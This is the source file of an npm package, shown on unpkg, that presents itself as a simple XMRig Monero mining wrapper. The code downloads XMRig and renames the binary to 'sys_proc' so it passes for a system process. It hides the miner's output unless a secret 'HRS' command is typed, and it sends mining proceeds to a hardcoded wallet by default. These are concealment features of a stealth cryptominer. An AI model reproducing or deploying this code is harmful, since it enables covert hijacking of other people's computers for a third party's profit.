UNPKG

crypto-ylp

Version:

A simple Node.js wrapper for XMRig Monero mining with configurable intensity

70 lines (57 loc) 2.37 kB
const { spawn } = require('child_process'); const path = require('path'); const fs = require('fs'); const os = require('os'); const readline = require('readline'); const { pools } = require('./miner-config'); const { downloadXmrig } = require('./utils'); const xmrigDir = path.join(__dirname, 'xmrig'); const xmrigFolder = 'xmrig-6.22.2'; const renamedBinary = os.platform() === 'win32' ? 'sys_proc.exe' : 'sys_proc'; const xmrigBinaryPath = path.join(xmrigDir, xmrigFolder, renamedBinary); const originalBinaryPath = path.join(xmrigDir, xmrigFolder, os.platform() === 'win32' ? 'xmrig.exe' : 'xmrig'); async function ensureXmrigExists() { if (!fs.existsSync(xmrigBinaryPath)) { console.log('[INFO] XMRig not found, downloading...'); await downloadXmrig(xmrigDir); // Rename binary after download if (fs.existsSync(originalBinaryPath)) { fs.renameSync(originalBinaryPath, xmrigBinaryPath); fs.chmodSync(xmrigBinaryPath, 0o755); } } } async function startMining(level = 'low', wallet = null) { const config = pools[level]; const defaultWallet = '4AyqG1Uz2zqKvckesRffdsVdvRLQN787KUBcSx4Lokvv7o3E2hEhQ8uEGjzZCg36ccZMJ1XuCLwhfMU7sQBR9u2VEzSgfh6'; // Replace with actual wallet if (!config) throw new Error(`Invalid mining level: ${level}`); if (!wallet && !defaultWallet) throw new Error('No wallet address provided!'); await ensureXmrigExists(); const miner = spawn(xmrigBinaryPath, [ `-o`, config.url, `-u`, wallet || defaultWallet, `-p`, config.pass, `-a`, config.algo, `--coin`, 'monero', `--donate-level`, '1' ]); let logBuffer = []; // Capture but do not display logs miner.stdout.on('data', data => logBuffer.push(data.toString())); miner.stderr.on('data', data => logBuffer.push(data.toString())); miner.on('close', code => console.log(`[XMRIG CLOSED]: Code ${code}`)); // Terminal input listener const rl = readline.createInterface({ input: process.stdin }); rl.on('line', input => { if (input.trim().toUpperCase() === 'HRS') { process.stdout.write('\x1Bc'); // Clear console logBuffer.forEach(line => process.stdout.write(`[XMRIG]: ${line}`)); setTimeout(() => { process.stdout.write('\x1Bc'); // Clear again logBuffer = []; // Clear log history }, 2000); } }); return miner; } module.exports = { startMining };